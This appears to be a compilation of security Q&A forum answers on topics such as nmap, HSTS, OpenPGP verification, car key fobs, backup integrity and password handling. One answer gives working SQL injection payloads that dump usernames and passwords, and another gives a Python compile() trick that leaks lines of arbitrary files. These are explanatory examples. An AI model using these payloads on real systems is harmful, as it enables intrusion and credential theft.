Retrieve a deleted trojan by Kaspersky for analysis (on windows 7)?

If Kaspersky has given you logs of what it deleted you may be able to undelete the files. The company formerly known as diskeeper has an undelete program which should allow you to find it.

Be sure to temporarily disable Kaspersky or designate a directory that it should ignore to put the files into. Once the files are undeleted you'll need to password zip them up otherwise any time you try to move them around antivirus will want to purge them again.

All that said, unless you are an expert in reverse engineering/assembly hacking this doesn't seem like a safe thing to do.


My home PC was hacked and accessed my bank! Advice on next steps?

Reinstall the whole machine from the OS up. It is common to be infected with something and not have antivirus scanners not find it. Reinstalling is the only way to have any confidence in the machine again.


How can I disable double request for detected port in Nmap?

I'm presuming here that by "second request" you're referring to the fact that nmap is completing a "three-way handshake" for each port.

This is a natural function of the scan type you've chosen (-sT is TCP scan).  In this mode the scanner completes a standard TCP connection which involves multiple packets being sent.

If you want to have a single packet based request, use -sS for SYN scan, which won't complete the handshake.


Is it ok to email someone their password from a newly created account?

I see an issue in the fact you are sending their password in plain text across an unencrypted link. Anyone monitoring data transmission at any point between the users PC and your site would be able to capture their password.

If you sent a 1 use password that they then had to change when they logged in then that would be better.


Why is a password accompanied by a username deemed 'safer'?

In most systems, username is required to be unique but password is not.

If password was used as a login credential without a username, then password would have to be unique. In that case the same attacks against username would work for password, such as trying to sign up with a dictionary-word password and looking for an error that the password is already used.


No. Since in usual, theres single-direction communication with the car.

So usually, each key has its own "encryption key" and a "counter". In the car, theres a list of valid encryption keys and a counter for each key.

Each time you push a button, the key will send count + 1, encrypted with the key.
The car simply encrypts count + 1 with its own encryption key and compares both.

To prevent that pushing the button without being near the car, causes the fob to stop functioning, the car will also check count + 1, count + 2, count + ..., all the way to like count + 50. If you accidentially press the key 50 times, without being near the car, the fob will usually stop functioning and you have to re-enroll that fob. Enrolling a fob is different on different wehicles, but sometimes the car re-enroll the remote when you use the associated ignition key, sometimes you have to do it yourself by using ignition key and then doing a sequence by pressing brake pedal, operating ignition lock, opening and closing doors and pushing certain buttons.

Here is a example:
https://www.youtube.com/watch?v=mG3R58-24QU

When you do this, the fob will usually send out cleartext key, or key encrypted using a "manufacturer key" and count when holding the button for longer than a few seconds or something, just to enroll the key if the car is in "programming mode".

When you have successfully opened or locked the car, the car will update its count for that associated car key, with the count that successfully unlocked/locked the car.

Think like a HOTP token.

HOWEVER, for those "keyless and go" cars where you just walk near the car to unlock it, and also for most ignition keys (immobilizer), a "challenge response" protocol is used, because in that case, theres dual direction communication with the car and key.


Legal to Request Internal Network Information?

Are they information security auditors? These will most of the time run a network mapping tool such as nmap to check on the security of the internal network. A general scan by the IT security team is acceptable as long as it does not interfere with normal network operations. This is however for companies. For home networks that's a whole different story, but then the ISP will already have this information. Who is really doing the scan here?


Should I allow http script sources in my CSP, or enforce https only?

You are completely correct that loading just one script over HTTP means walkover to a MITM. So what can you do?

If the script is served over HTTPS
As Ajedi32 suggests in comments: If the script is served over HTTPS, you can force the widget to use HTTPS by using the CSP upgrade-insecure-requests directive.

If you have control over the script tag
If the script isn't served over HTTPS at all, things will be a bit more complicated. You don't have to allow all scripts to be loaded over HTTPS, you can just allow that one. Still, for a MITM that would be enough.

If you have control over the script tag where the script is included, you can use subresource integrity to stop a MITM. You provide a hash of the script in the integrity attribute of the script tag. The browser verifies the hash, thereby stopping any attempts by a MITM to modify the script. It will also give you a headache if the maintainers of the script changes the content without notifying you first...

Else
You are out of luck. Contact whoever constructed the widget and tell them to use HTTPS. Or just dump the widget.


Correct way to perform secure two way encryption on a web site

Basically, you need to encrypt the data you want to protect using a symmetric key (e.g. AES key). This key is only known to the group of users who are permitted to access the encrypted data on the server.

The key you used to encrypt the data should not be stored on the server. The encryption and the decryption happen on the client side inside the client web-browser there are many JavaScript libraries that implement the AES algorithm.

The hardest part is how you can share the encryption key between the users. In addition, if the  same user shares part of his data with two different group of users he might need to use different encryption keys for each group. Note that you don't want to key to be known to the server

So how can we do that. There are two options for key distribution:

Use web socket to share the key between the group of users using P2P connection. The keys can be stored encrypted using the HTML5 web storage  at each user browser.
Each user has an RSA key pair where his public key is stored on the server. Then for user A to share an AES key with user B. User A download  User B public key and encrypt the AES key using uesr B public Key. Then he upload the encrypted AES key to the server. User B they download the encrypted AES key and decrypt it using his private key. Then he can use the encrypted  AES key to access user A data.

See, the technical challenge in your system is how to manage the encryption keys and how you manage the user groups.

You should take advantages of the HTML5 web storage to store the AES keys simply assign for each user a passphrase  and use this passphrase to generate a master AES key that you can use to encrypt all the keys in the web storage and other sensitive data on the client side.

Note: the main issue here if the user losses the encryption key. In this case it is possible that he might not be able to recover the encrypted data at the server.

If you post more details about your project requirements we might be able to give you a better solution and maybe a simple one.


Should I report this Google API key disclosure issue or not?

There is potentially really an issue here, but it is unlikely. Including their Google API key value inside JavaScript is how it is done. Yes you can bypass their search function and query the Google API directly, but to what end? The API will have its own validation that will limit what you can do. Are you able to gain more info than what was already available to you on the website? If so, then it is an "information Disclosure" vulnerability, if not then is it really a vulnerability?


How to verify an OpenPGP key's ownership?

Important note before I start: in OpenPGP, there is nobody telling you whom to trust. You have to perform this verification on your own, but there are tools (like certifications in the web of trust) that help you doing so. For the same reasons, I cannot provide you with a step-by-step tutorial on verifying a given OpenPGP key, but can only give some advice on how you could possibly verify it on your own.

You have two possibilities to verify the key's ownership: directly or through the web of trust.

Directly Verifying OpenPGP Keys

This is rather obvious. Find the owner, and ask him through a trusted channel. Meeting him probably involves least hassle -- apart from fixing an appointment and travelling.

If this is too much hassle or expensive (which it probably will be), you can go for other ways of verifying the fingerprint (choose depending on your paranoidity, not all of those will be appropriate for your use case).

Verify against the web site. If it is not properly encrypted or you don't trust the certificate, consider also verifying against web caches like archive.org, which also hosts a time line of websites' changes. Consider using multiple connections, possible from different countries (ask somebody, use VPN, proxies, ...).
Verify against completely unconnected channels. For example, maybe the fingerprint was once printed somewhere in a product box, or is included in a trusted place: for example, is there a Debian package also listing the fingerprint in the documentation somewhere?
Search in closely connected news groups and mailing lists for signed posts. When there's a history of signed posts and nobody crying "hey, that's not me!", this also indicates the key might belong to whom it claims.
Generally try to find as much indications as you can find the key is the right one, especially over time. Also try to find whether there are other keys that seem to belong to the owner, but are not used widely (news group posts, mailing lists, as above).

The last points only can be an indication that everything's fine, and how much of those you accept depends on your needs.

Verifying Through the Web of Trust

An alternative is verification through the web of trust. A helpful tool for building a trust chain would be the PGP pathfinder, I linked an example with a trust path from my key to Anold Reinhold's key (which is of limited use, by the way).

For verifying throughout the web of trust, you have to build a trust path, this means there must be a way to validate each step in-between. If there is a valid key with an outgoing certification, the certified key will also be valid; also depending on the maximum path length, certification level and trust settings. I put together some more details in "What is the exact meaning of this gpg output regarding trust?".

If you cannot build a trust path, because you don't know anybody of those, you could go for trusted organizations. Either fetch all of keys that issued certifications, or query a key server which already knows all of them. Do you recognize any well-known and trusted organization? You might accept to trust their employees/members, and be able to verify their fingerprints through the organization's website. Which ones you consider well-trusted fully depends own your personal opinion. John R. Levine issued multiple certification from different keys and is rather well-known for his publications and work, thus might be a good starting point if you are able to verify his key through some of the described measures listed above.

A good way of bootstrapping those trust paths is regularly visiting key signing parties at different occasions.

Verifying Through a Certificate Authority

This is actually very close to the web of trust network and indeed uses the same tools. Certificate authorities (as also known from X.509) issue certificates based on a set of rules. If you trust the CA, you can trust all of their certifications. Examples of such CAs in the OpenPGP environment would be

CAcert (they also sign OpenPGP keys)
Heise Verlag (German site, a company running a few German computer science magazines, and also do some CA services)
PGP Global Directory (only validated mail addresses, not identities)


Internet traffic redirect from WAF to Cloud Network - Encrypted vs unencrypted

Best practice is to encrypt all traffic - especially if it touches any network equipment you do not entirely control.

If the WAF is on a different LAN to the server network why would you not encrypt it? If your servers accept unencrypted traffic it to a large extent makes the WAF redundant - a malicious actor could just send the traffic direct.

There have even been instances of security agencies accessing traffic within internal communications. Google now trust absolutely nothing.


My WiFi network is replaced by another network. Am I being hacked?

It is unlikely a hacker stealing internet access will have the sophistication (or need) to make the wireless network change between different names.

It is more likely that someone/some device nearby installed a new wireless network that happen to broadcast on the same channel as yours (there are only 3 or 4 non-overlapping ones to choose from) and have a higher signal strength. Depending on the signal strength of your router and the capability of the wireless card, the latter may fail to detect your network until the other one goes quiet.

One solution is to reconfigure your router to use a different channel. This option is normally under the "wireless" or "advanced wireless" section in the web configuration interface of the router. Another one is to find out who operates the other network and ask them to reduce power (it is possible they're violating FCC rules).

You'll find a WiFi analyser on a smart phone very hand for both solutions. They can tell you what network are using which channel and the make of the router (useful for hunting them down). On Android, there are many options. I think the best one is Wifi Analyzer. For iOS, the only option is Apple's own AirPort Utility (see guide).


RainbowCrack is probably what you would be using to generate rainbow tables.  Rainbow tables are always generated over a keyspace,  such as alpha-numeric 5-9 bytes long and the chain length and count which will affect the rate and the size of the resulting tables.  If you have an input file,  then it's not a rainbow table,  it's some other lookup table.   A rainbow table is a speical type of lookup table with neat properties.  Such as the size of the hash function (sha256 vs sha512) doesn't affect the size of the rainbow table.

There are some matlab scripts floating around to calculate the size of rainbow table,  however this site is easier to use.


What are the risks of using Tor browser?

It is almost secure and it doesn't matter hackers are also using TOR for anonymity. Since the traffic is encrypted at every hop your communication will be secure till the exit node of TOR.

EXIT NODE

It is the node where your Traffic leaves the anonymous network and enters into the open Internet. From there your traffic can be monitored. If anyone wants to sniff the traffic then they can sniff at the exit node. If you are browsing service which is not using HTTPS then there will be a problem since the traffic is not encrypted after exiting the exit node of the TOR network.

This is the image I've taken from the Internet to explain.

You can see there is exit node/relay from there your traffic goes out of TOR. There onwards the traffic can be sniffed. If you are browsing Facebook then there is no harm because the traffic is encrypted. So when it will leave the TOR network then it will be encrypted as well.


I have two big concerns with Lockwise.

It doesn't auto-timeout/logout, so if an attacker gains access to your device, he/she also gains access to all of your passwords.
Passwords stored in Lockwise are also stored in Firefox. A master password can add a layer of security to Firefox on a PC, but the mobile version of Firefox doesn't have this functionality, so anyone who gains access to your Firefox account will also gain access to your Lockwise passwords even if you have a master password set up on one of your devices. The biggest issue there is that when you sync your Firefox account to Firefox on a mobile device, it stays logged into your Firefox account, so all of your passwords are there for the taking for anyone who gets into your device.

Further exploration of your question: https://medium.com/@JoeKreydt/how-secure-is-firefox-lockwise-password-manager-51d44dcf4dbc?sk=dc7b81811044ebc08e4a77eb6c2fa8fd


Risks of leaving my Redis port open and unsecure?

In addition to your data being exposed, allowing the open internet to access a misconfigured service could allow an attacker to establish a foothold on the server. Attacks have been carried out against redis that add an attackers SSH key to the redis user's authorized_keys file, granting the attacker SSH access.

See this answer for links to other resources about possible risks: https://stackoverflow.com/a/33693810


Yes, you should. You might need to test if e.g. a particular request works over HTTPS, but testing on a production system is a bad idea (the production system should remain stable), and your test system should match the production system as closely as possible. Secondly, if you're sharing the login details between domains, why shouldn't the test domain be secured as well?

If the price of the certificate is a problem, what you can do is:

Get a free cert from Let's Encrypt.
Use a self-signed cert.
Set up your own internal certificate authority for the test domain (probably the best option).


Get information of phishing website owner

Unfortunately, you just encounter a typical phishing page that steal you money and run away.

In most of the scenario, the phishing page is hosted under:

Free web hosting
hacked website
Using dynamic DNS(quite rare)

So site owner might be the victims themselves. Even though you can report this to the authority, but most of the time it is impossible to act, i.e. the command and control center might be shut down within days.

Reported phishing URL show in phishtank show you the similar story, many of them already offline.

Nevertheless, you should also send this phishing URL to sites like phishtank, virustotal, or your antivirus vendors. Because sometimes phishers might recycle/reactivate their command and control center, adding these URL into securities vendor database may stop those URL (if you use those tool) permanently.


Testing a chroot environment for privilege escalation vulnerabilities

bash can establish tcp connections, you shouldn't forget to check your firewall.
Maybe you would like to drop all traffic from the users with iptables -A OUTPUT -m owner --uid-owner youruser -j DROP but this shouldn't replace your firewall.

If the user is able to open a connection he could scan the network and exploit vulnerable services to break the jail or compromise over servers.


Is this way of client-side SSL secure enough, to keep hackers away from my web app?

Yes, this is enough secure.

I would suggest checking for:

perl: $ENV{'SSL_CLIENT_M_SERIAL'}

in your web app.
This means you will have to have a database of valid users, and possibly which rights they have in the web application.

Doing this instead of doing revocations the "PKI way" is better, since then you first, does not need to manage a CRL, and also, its easier to put in what users are really allowed to do, so you can have users who have different rights, for example some users might be admins, some might be moderators, and some just regular users, and some are limited users.

So first, their certificate must be signed by the client CA, but also, their certificate serial needs to be in database as valid. Make sure and be careful so you don't generate multiple user certificates with the same serial. The serial can also then be used as a numeric UserID in modules that require a numeric UserID.


For many cryptographic applications, /dev/random is a secure way to gather (pseudo) random data. There are, however, several key issues that seem to be along the lines of what you're asking.

One of the issues is that it is possible to write to /dev/random. According to Wikipedia,

  It is also possible to write to /dev/random. This allows any user to mix random data into the pool. Non-random data is harmless, because only a privileged user can issue the ioctl needed to increase the entropy estimate. The current amount of entropy and the size of the Linux kernel entropy pool are available in /proc/sys/kernel/random/.

This makes sense for a non-compromised machine, however if someone has rooted a box, they could theoretically write non-random data (that appears random) to /dev/random and cause problems with cryptographic keys generated from that point forward. It's tough to determine the severity of such an attack, since if root was already compromised, more significant attack vectors would certainly exist (all software could, at that point, be backdoored).

The second set of issues, detailed in the paper Analysis of the Linux Random Number Generator (March 2006), focuses on problems with saved-state machines. This is primarily found in Linux live-cd's that have the same built-in (read-only) entropy when booting, but in today's world can also apply to virtualized machines that have states restored, or machines using software that can revert to a "known good" state upon shutdown. If the entropy can be determined upon boot, then /dev/random can be compromised (as it is a known starting value).

There are several ways to improve upon the standard /dev/random, the most well-known of which may be the Entropy Gathering Daemon (http://egd.sourceforge.net/). EGD can work as a "userspace substitute" for /dev/random, which can allow applications to have a significantly more secure PRNG.

Lastly, if you are interested in "true random" entropy, consider using a service like Random.org  which uses atmospheric noise to create true, not pseudo, random numbers.

Hope this helps!


Can people know the server I'm connecting to despite being on SSH/HTTPS?

They can. In order to establish a secure HTTPS connection a handshake must happen between you, (the client, i.e. your browser or any other application) and the server. Any data sent within the handshake is not encrypted.

About the risks, it's a broad topic to discuss. The plain information that you are connecting to some public server (Facebook, Gmail, etc.) might be useless, but there might be situations when this information actually might be a leverage for the attacker. It depends on the concrete situation.


What is the relevance on HSTS on HTTP application?

The decisions made in RFC 6796, 8.1 are much easier to comprehend, if you imagine what would happen, if a HSTS header from an HTTP response was handled the same way as with HTTPS:

The site is HTTP only, and accidentally adds a HSTS header. The browser would now be instructed to upgrade to HTTPS, but the site is not serving the HTTPS version at all, and becomes unreachable.
A man-in-the-middle (MitM) adds this header, making the site unreachable on purpose.

As a man-in-the-middle could also do the same on an HTTPS connection, when user bypasses a warning making a security exception, the RFC 6796, 8.1 has two conditions:

The HSTS header must be received over a secure transport (not plain HTTP).
There must be no underlying secure transport errors or warnings. As, after enforced, HSTS requires the same conditions, as described in 8.4, having any errors or warnings allowed during reading the header would also make the site unreachable, whether it's accidental or caused by a MitM.

Therefore, the only reasonable usage of HSTS is:

First redirect HTTP to HTTPS, then redirect to the canonical name over the HTTPS.
Add the HSTS header to all the HTTPS hostnames, not just to the canonical hostname. This way you'll be protecting all the hostnames. Otherwise, an unprotected version could still be used for MitM.
If all the redirecting hostnames are subdomains of the canonical hostname, and if you don't need any subdomain over plain HTTP, add the includeSubDomains directive to protect them all at once.
Consider HSTS preloading. It has two phases: adding the header & submitting to the lists.


I posted about it on the python bug tracker and got some advice.

Since python interprets files line-by-line, we can delay the termination error, which leads to this interesting bug, simply by adding a new line \n to leak a line at a time.

The proof of concept is as follows:

Create target File

$ cat /tmp/passwd
line 1
line 2
line 3
line 4

Read from target File

$ python -c 'compile("\n\n\nyield", "/tmp/passwd", "exec")'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/tmp/passwd", line 4
    line 4
    ^
SyntaxError: 'yield' outside function

By writing a simple catch loop, it is possible to leak all lines of an unknown file on the system. However, as stated by a reviewer on the tracker, this is only practical for a sandbox escape. Even though Python isn't built for sandboxing, if someone were to implement one, the compile function must be among the first to go.


Is it safer to design websites and servers with HTML5 rather than flash?

The risks of Flash are client side.  When viewing an compromised site that is well designed (not susceptible to XSS), there should be no difference in security between Flash and HTML 5 since the content is not malware.  The main security problem with flash is for the client.  When they visit a site infected with Flash based malware, bad things can happen to their computer.  It isn't a server side concern.


When making an HTTPS connection, the rules used to verify the server's identity are still those given in RFC 2818 (Section 3.1):

  If a subjectAltName extension of type dNSName is present, that MUST
  be used as the identity. Otherwise, the (most specific) Common Name
  field in the Subject field of the certificate MUST be used. Although
  the use of the Common Name is existing practice, it is deprecated and
  Certification Authorities are encouraged to use the dNSName instead.

  [...]

  In some cases, the URI is specified as an IP address rather than a
  hostname. In this case, the iPAddress subjectAltName must be present
  in the certificate and must exactly match the IP in the URI.

In your certificate, no Subject Alternative Name (SAN) extension of type DNS (dNSName) is present. Hence, it falls back to the Subject DN's Common Name.

A more recent specification (RFC 6125) harmonises the host name verification procedure across other protocols. However, it is not widely implemented yet.

It allows for the use of URIs, and says this (amongst other things):

  [...] Therefore this
        document discusses Uniform Resource Identifiers [URI] only as a
        way to communicate a DNS domain name (via the URI "host" component
        or its equivalent), not as a way to communicate other aspects of a
        service such as a specific resource (via the URI "path" component)
        or parameters (via the URI "query" component).

Essentially, only the scheme and the host name are really used from that URI. This means it's only more specific than a DNS SAN entry by limiting the usage to a certain protocol (not even the port as far as I can tell from a quick read).

This specification was only finalised about a year ago, which isn't that long. It's not clear how widely it will be adopted. For clarification and harmonisation of existing practises, it's certainly worth the effort, but I guess CAs and implementors would need to know it better and find a demand for issuing certificates with URI SANs, since it doesn't map to the specification previously used (RFC 2818). I guess there would be little demand from service providers, since few clients support it anyway.

Many browsers don't fully implement RFC 2818 as it is (being more lenient on IP addresses in the CN of the Subject Name, without SAN, for example).

(As a side note, from a client-certificate point of view, you may be interested in the WebID project, which explores other ways than PKIX of verifying a client-certificate and make use of URIs in the SAN.)


I'm assuming your using standard PHP mysql_query function in which case something like this would be effective in your example.

SELECT price FROM products WHERE 1=1 AND id=
999999999999999999999999
UNION ALL
(SELECT CONCAT(username, ' ', password) FROM user) limit 0, 1;

Explanation

Use an ID of a product that is not going to exist.
UNION with users table.
SELECT a single column in the users table to return, as your only returning a single column from the product. In this case returning a concatenated field of the username and password columns.
Limit by 1. As your code presumably expecting only a single result from query the query. You could alternatively use a WHERE condition to specify a specific user that you want to retrieve.

Another example would be to use group_concat this would allow for the retrieval of all the entries from the user table in a single query. Inspired from the answer on another question here.

SELECT price FROM products WHERE 1=1 AND id=-1
UNION ALL
(SELECT CONCAT(GROUP_CONCAT(username), '\n', GROUP_CONCAT(password)) FROM user);

Additional resources covering SQL Injection attacks:

SQL Injection from php manual
SQL Injection Cheat Sheet
SQL Injection Attacks by Example
xkcd: Exploits of a Mom


How should I verify a backup has not been tampered with?

Cryptographic hash lists
From a theoretical standpoint, verifying the integrity of data that will be put on an untrusted medium (such as a remote backup server or an unattended storage device) requires you keep something on a secure medium which is trusted and cannot be tampered with. That something allows you to verify that the rest of the data has not been tampered with. In other words, you are moving trust from the data itself to some auxiliary data (hashes, a cryptographic signature, etc). This is desirable because that auxiliary data is very small and can be stored locally on most mediums. In the case of a drive backup, you could use a cryptographic hash, such as SHA-256, on each file:
find /path/to/backup -type f -exec sha256sum -- {} + > hashlist.txt

The resulting text file contains a list of files and their SHA-256 hashes. The file itself can either be stored locally on a trusted machine, or cryptographically signed (e.g. with GnuPG or signify) and kept in the backup itself. This will prevent anyone with write access to the backup (but not write access to the hash list) from modifying, adding, or deleting files without being detected.
Digital signatures
If you are storing the backup in a large filesystem image or tarball, you can simply hash that instead, which will give you the additional benefit of preserving directories and metadata:
tar cpf - /path/to/backup | tee backup.tar | sha256sum > backup.tar.sha256

If you want to store the hash list in the backup itself, it's necessary to ensure that the hash list cannot be tampered with without detection. The most common way to do this is to use GPG. Once you have created a signing key, you can sign the file, whether the file is a hash list or an entire tarball. The signature can be stored alongside the backups and you can safely verify the backups using the corresponding public key. Just make sure you keep a local copy of the public key and do not allow the private key to fall into the hands of your adversaries. This technique has the advantage of being compatible with a number of security-oriented smart cards.
Secure backup utilities
There are some tools designed specifically for backups which provide integrity and confidentiality. Duplicity, for example, supports sending client-side encrypted incremental backups to a large number of online data hosts, including Google Drive. It encrypts and signs backups using a public and private keypair, though it also supports using a symmetric key (plain passphrase) instead. Because incremental backups are supported, only the initial backup of a large drive will take substantial time. Subsequent backups will only transmit the files that have changed:
duplicity /path/to/backup gdocs://user[:password]@other.host/some_dir

Restoring from backup verifies the data, and data can be manually verified as well. As with GPG, you need to keep the keypair on a trusted medium (a local drive or a smart card). Read access to the private key allows forging valid signatures, as does write access to the public key.
This is what I use myself.
Things to be aware of
In order to ensure that the hash values are faithful representations of the contents of the files being hashed, it is necessary to use a strong hash function. Avoid using MD5 or SHA-1 as they are both broken (in that it is possible to create two files with differing contents but the same hash). The SHA-256 algorithm is the most popular, but SHA-3-256 and BLAKE2b are also acceptable.
If you are generating a keypair (because you are using GnuPG to sign a hash list or archive, or a backup utility that requires a keypair like Duplicity), you should use a strong algorithm. The industry standard is RSA for encryption and signing, with a keysize of 2048 or larger.
In a comment, you mention that you want to be able to use this to prove that incriminating files were not added with your knowledge. This is not likely to fly in court, because it would be trivial for you to upload a new, incriminating file and not sign it in order to claim that it was not added by you. All this will allow you to do is trust the backup as much as you trust the local hash list (or signing key).


What happens if a pro-censor ISP has Telex key(s)?

The Telex scheme seems impractical. It seems to be designed for a scenario like this:

There is an area AreaA with a represive governing authority. In AreaA a individuals ability to speak, write, travel, and meet or associate are restricted. AreaA has internet access but the access is monitored and controled by the governing authority.

There is an area AreaB with general liberal democratic freedoms: freedom of speech, publication, travel, and association. AreaB has internet access and the access is not (or very loosly) monitored and controlled by a governing authority.

The governing authority in AreaA allows limited access from AreaA to AreaB, and from AreaB to AreaA. They monitor communications in both directions.

The governing authority in AreaB allows unrestricted or lightly restricted acess from AreaA to AreaB, and from AreaB to AreaA. They rarely monitor communications in either direction.

The scheme depends on creating significant number of Telex stations. The Telex stations must be in AreaB and allowed by the governing authority of AreaA. The governing authority of AreaA must not be able to identify identity the Telex stations or they will remove access to those stations. However, the Telex stations must be able to handle a moderate amount of traffic, and most be powerful enough to handle the cryptographic and processing requirements without a detectable difference in traffic patterns. If the governing authority of AreaA blocks access to enough Telex stations the availability of the system degrades and traffic flow decreases.

Providing clandestine information channels is a difficult problem. See Embedding Covert Channels into TCP/IP.

The distribution problem:

The software needed to create Telex messages must be distributed to users in AreaA. Given that the governing authority (GA) of AreaA is monitoring and potentially blocking messages from AreaB to AreaA. It is difficult to get software to the AreaA users. I think it is a logical addendium that the GA of AreaA is additionally monitoring and blocking postal mail and package delivery. Likewise, we can assume that GA of AreaA is monitoring and blocking PSTN as well as GSM/CDMA. The effectiveness of each channel will determine how to distribute the software.

Key distribution can be combined with the software distribution problem. The Telex messaging software can be distributed with a Telex station public key. The software could generate a public-private key pair for each user and send the user's public key to the Telex station in a covert message.

The bandwidth problem:

The larger the bandwidth the system provides, the easier it is for the governing authority in AreaA to detect Telex stations. The smaller the bandwidth the system provides, the less useful the system is to people in AreaA.

The innovation problem:

The Telex messaging relies on standard protocols to covertly deliver messages from AreaA to AreaB. If non-standard protocols were used then detection would be easy. What happens when the protocols change or improve? Will Telex messaging be forward compatible, backwards compatible? Will the carrier protocol need to change? The Telex messaging software will need to be revised and updated. Every update or revision puts the users in AreaA at risk of discovery when the attempt to acquire a new revision or update. However, failure to modify the software for too long a period will also put the users in AreaA at risk of detection as the GA in AreaA refines their detection methods.

The station identity problem:

If the Telex stations remain static, then after some period of time the governing authority (GA) of AreaA will be able to detect the stations. If the Telex stations change then the system needs to inform the users in AreaA of the change. Even if the users in AreaA don't know the real station identities, they will need to know approved sites in AreaB that will allows their messages to be routed through the Telex station. The more frequently the stations chanage the fewer users in AreaA will know the identity of the Telex stations at any given time. There is also the problem of the number of AreaA users. The more people know the Telex station identities, the more likly GA of AreaA will discover the indetities.

If hierarchical scheme is used to distribute the station identities (most users know one station id, some know two or three, and a few know eight or more), then GA for AreaA will attempt to find the users in AreaA who know the most stations. It may take longer to find users who know many stations but discovery will severly impact the system by cutting off many stations at the same time. If a flat scheme is used (stations identities are distributed uniformly) then stations will be discovered and blocked at a more steady rate.


Does encrypting a setting in web.config actually provide security?

No, when you encrypt a web.config section, you specify which application and site the configuration belongs to.  The container is going to be specific to that site and application, and will not be accessible to other applications.

If you control the system, then you can do whatever you want, including just decrypting the section.  There is no protection against the owner of the box.

The biggest protection that you get here is against the web.config file itself being leaked.  If a malicious party gets a copy of the file, the sensitive data it contains can't be used to attack you if it is encrypted.


How can SSH server know private key is incorrect if passphrase havent been provided yet?

While you've encrypted the private key, the public key is still readable. SSH authentication with the "publickey" method works by having the client send each potential public key to the server, then the server responds telling the client which key is allowed. If one of the keys is allowed, then the client must decrypt the private key to sign a message, proving ownership of the private key.

In your experiment, the server responded saying that none of the provided keys was allowed for your username, so there was no need to decrypt a private key, authentication had already failed.


Difference between "windows/shell_reverse_tcp" and "windows/shell/reverse_tcp" Exit Behavior

It turns out to be a bug with the shellcode generated by msfvenom

https://github.com/rapid7/metasploit-framework/issues/5811


Security mechanism differences between Google and Amazon APIs

I think the question here should more be answered from a marketing than a security perspective.

In general, I would say that Google probably uses a relatively simple API key for usability/accessibility, in order to make it easier for the mass of developers to implement their services (and earn money from that).

Amazon probably has more concerns about the use of their API and uses a different system of public and secret keys. The use of a secret key does add a certain protection and can not directly be considered as security-by-obfuscation (while technically most security is basically a form of obfuscation).

To answer your question in the comment:

  I'm actually curious to understand why would anyone want to make public (lucrative) service hard to use. Other than complexity what other gains is there to signature VS using a key?

Two reasons came to my mind about this:

The first one is probably that it gives a sense of security and this can be a reason for companies to choose a harder to implement service above an easy-to-implement service. Because it's considered "more secure". This raises the question if the security features are actually adding an extra layer of security or if they just complicate things unnecessarily.

The second one is probably that it can actually add extra security. When we, for example, use a service that charges money for each request and the only authentication is one key. Then, if the key leaks, anyone can use that API using my key and so I will get charged for it. An example of an extra security layer is IP whitelisting in combination with the key. This mitigated at least the problem that anyone can misuse my key. SSL (HTTPS) adds a layer of encryption to the communication between the server and the client (possibly mitigating man-in-the-middle attacks). Other possible features or measures can be DNSSEC, custom encryption, time-frames, key/credential expiration et cetera, all adding actual security to mitigate different attacks.

For the vendors, it is (as often with security) a constant consideration between usability and security. They will consider things like:

How far can and should we go, without getting paranoid?
How far do we need to go to protect the services (data) we offer?
Is it still acceptable by developers if we go this far?


Why do login screens hide the password input field until the username is provided?

UX Design

First of all it's a good UX design. It decouple Identity (your username) from your Authentication Method (Something you Are, Something You Have, Something you Know) and in the age of different authentications sources (Google, Facebook, OpenID, Internal) it's a sexy way to make them look as one.

Security

Brute Forcing

You increase the number call you need to make to a service, thus increase the time it takes to get a password.

Multi-Auth Sources

As mentioned in the UX portion, we decouple Identity and Auth. This makes it easier to develop 2FA applications which can use multiple patterns.

Separate Identity Source

Maintain a public identity source separate from your authentication. Think about having a Identity Management Server which holds all the information about you, that can be used across your entire business and than allowing different types of people authenticate in different ways.

I'm sure there are more if I sit and think about it.


Why would my firewall show that my computer connects to DNS servers other than the ones I have defined?

Your firewall logs requests to DNS servers other than those defined in the OS because an application is making requests to its own configured alternative DNS servers. Google Chrome, for instance will make requests to 8.8.8.8 despite your OS configuration.

You can verify this with tools like Fiddler or similar. If these requests are a problem for you, block them at your local system or network router/firewall.

Incidentally, monitoring DNS requests on a network is an effective detection practice for this reason.


Should we use Microsoft security or defender for securing our WAN network

I suggest you contact some local security provider and consult with them about securing your network and desktops. You can use Windows Defender to protect computers from malware and Microsoft System Center to configure it globally. In my opinion, the solution from Kaspersky Lab (their security center and endpoints) will be much easier to deploy and manage for you.

PS. You will not be able to provide basic security for your users if you have no experience in the field of IT-security, no matter which antivirus solution you use. It would be better to delegate this task to a person with enough experience to carry it out correctly.


Is using a numbers station to transmit a one-time-pad as key actually insecure?

"Pseudo random generators are quick but predictable": well, that's true only in an ethereal, mathematical sense. In practice, if your PRNG is cryptographically secure and seeded with some initial randomness of large enough entropy (128 bits are enough), then it won't be predictable. However, if a PRNG is involved, this is not true "One-Time Pad" but a mere "stream cipher".

OTP is a nice theoretical toy but it has no practical advantage over a properly used stream cipher. For some reason, a lot of people have fantasies of OTP being the ultimate answer for the Real World, and this leads to many misguided designs.

The main practical issue of OTP is that the key must be as large as the message, which is inconvenient: usually, we use cryptography to reduce problems: we apply encryption to reduce the problem of ensuring the confidentiality of a 10 GB file to the problem of ensuring the confidentiality of a 16-byte key, which can be managed much more easily (it can even be remembered and typed in by a human). If the key is as large as the data, then no reduction has occurred. At best, OTP can bring a time-based advantage: exchange the key in advance, when conditions allow for that, allowing for secure transmission later on. That's how the red phone worked: tapes full of random bits exchanged on a weekly basis (by special planes), so that immediate secure communication can be done at any time with no latency.

Of course, OTP relies on the key stream to be secret. There is no point in using public data as key stream. The whole security of OTP relies on secrecy of the key.

There is, however, a generic key exchange protocol which works with a public source of data similar to your "number stations".

It works like this:

Alice and Bob listen to the number stations, and write down, at random intervals, some of the numbers and the "index" of these numbers. For instance, Alice remembers "171th number was 40; 236th number was 91; 406th number was 38;..." while Bob does the same with some other randomly chosen numbers in the public sequence.
At the end of the day, Alice sends to Bob the list of indices that she remembered ("I have numbers 171, 236, 406...") and Bob responds with his own list of indices. With high probability, they have a few indices in common, so they will use the corresponding numbers as shared key.

An eavesdropper, however, would have to remember all, or at least most of the numbers, in order to also remember the same numbers. If the "number station" is sufficiently high-speed (say, it outputs 1 terabyte worth of data per second, and Alice and Bob gather randomly picked numbers during one whole day), then the storage requirement for the attacker can become prohibitive.

The Cachin-Maurer protocol is a fine example of a theoretically secure but grossly impractical cryptographic algorithm. Just like OTP.


What are the best practices for RSA-based security?

Computing φ(n) from n is equivalent to factoring n:

If you know the factors p and q then φ(n) = (p-1)(q-1).
